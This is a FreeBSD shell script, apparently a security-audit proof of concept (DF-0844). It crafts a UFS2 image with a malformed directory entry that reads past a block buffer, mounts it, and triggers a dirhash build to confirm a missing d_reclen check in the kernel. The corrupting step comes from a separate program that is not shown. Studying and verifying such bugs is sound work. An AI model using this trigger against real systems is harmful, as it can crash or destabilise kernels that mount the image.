DF-0844 / image_trigger.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | #!/bin/sh # DF-0844 โ Image-based trigger: craft a UFS image with a malformed dir entry # at the tail of the last filesystem block, mount it, and trigger dirhash build. # # Threat model: malicious filesystem image (admin mounts attacker-controlled image). # The crafted directory has its last entry corrupted: d_reclen=8 but d_namlen=255, # positioned at the tail of the last block so d_name reads past the buffer. # # Observable: vfs.ufs.dirhash_mem increases (dirhash built) = malformed entry accepted # (proving the missing d_reclen >= DIRSIZ check). On a fixed kernel, the build fails. set -e IMAGE=/tmp/df844.img MNT=/mnt/df844 MKFS_BSIZE=4096 # Need dir >= ufs_mindirhashsize (DIRBLKSIZ*5 = 2560 bytes) # Create files with ~200-char names: each entry ~212 bytes. ~15 files = ~3180 bytes. echo "=== DF-0844 image-based trigger ===" # Clean up any previous state umount $MNT 2>/dev/null || true mdconfig -d -u 0 2>/dev/null || true rm -f $IMAGE # 1. Create a UFS2 image echo "[1] Creating ${MKFS_BSIZE}-byte-block UFS2 image..." dd if=/dev/zero of=$IMAGE bs=1m count=8 2>/dev/null # newfs with small block size to make directory layout predictable newfs -b $MKFS_BSIZE -f 512 $IMAGE >/dev/null 2>&1 # 2. Mount, create test directory with enough entries for dirhash mkdir -p $MNT mdconfig -a -t vnode -f $IMAGE -u 0 mount /dev/md0 $MNT echo "[2] Creating directory with enough entries for dirhash (>= 2560 bytes)..." mkdir $MNT/testdir # Create files with long names to fill the directory for i in $(jot 20); do name="file_$(printf '%0190d' $i)" # ~195-char name touch "$MNT/testdir/$name" 2>/dev/null || true done # Report directory size DIRSIZE=$(stat -f '%z' $MNT/testdir) echo " testdir size = $DIRSIZE bytes (need >= 2560 for dirhash)" # Record dirhash mem before DHMEM_BEFORE=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?") echo " vfs.ufs.dirhash_mem before = $DHMEM_BEFORE" # Unmount umount $MNT mdconfig -d -u 0 echo "[3] Searching for directory data on raw image to corrupt last entry..." # Find the testdir's directory data on the raw image. # The filenames we created are distinctive: "file_000...0NN" # Search for the pattern "file_000" to locate the directory block. # Get offset of first "file_" entry on disk OFFSET=$(hexdump -C $IMAGE | grep 'file_000' | head -1 | awk '{print $1}' | sed 's/0$//') echo " Found 'file_' pattern at hex offset: $OFFSET" echo "[4] Running C corruptor to create malformed entry at block tail..." # The corruptor program finds the last filesystem-block boundary in the # directory data and writes a malformed entry there. ./dirhash_corrupt $IMAGE "$MKFS_BSIZE" # 5. Re-mount and trigger dirhash echo "[5] Re-mounting corrupted image..." mdconfig -a -t vnode -f $IMAGE -u 0 mount -o ro /dev/md0 $MNT DHMEM_AFTER=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?") echo " vfs.ufs.dirhash_mem after mount = $DHMEM_AFTER" echo "[6] Triggering dirhash build via readdir on testdir..." # Access the directory to trigger ufsdirhash_build ls -f $MNT/testdir/ >/dev/null 2>&1 || true # Also try stat on a known file to trigger lookup path stat $MNT/testdir/file_$(printf '%0190d' 1) >/dev/null 2>&1 || true sleep 1 DHMEM_FINAL=$(sysctl -n vfs.ufs.dirhash_mem 2>/dev/null || echo "?") echo " vfs.ufs.dirhash_mem after readdir = $DHMEM_FINAL" # Compare if [ "$DHMEM_BEFORE" != "$DHMEM_FINAL" ] && [ "$DHMEM_FINAL" != "?" ]; then echo "" echo "RESULT: dirhash_mem changed ($DHMEM_BEFORE โ $DHMEM_FINAL)" echo " The malformed entry was ACCEPTED into the dirhash." echo " This confirms the missing d_reclen >= DIRSIZ check." else echo "" echo "RESULT: dirhash_mem unchanged ($DHMEM_BEFORE โ $DHMEM_FINAL)" echo " Dirhash may not have been built (size too small or rejected)." fi # Cleanup umount $MNT 2>/dev/null || true mdconfig -d -u 0 2>/dev/null || true rm -f $IMAGE |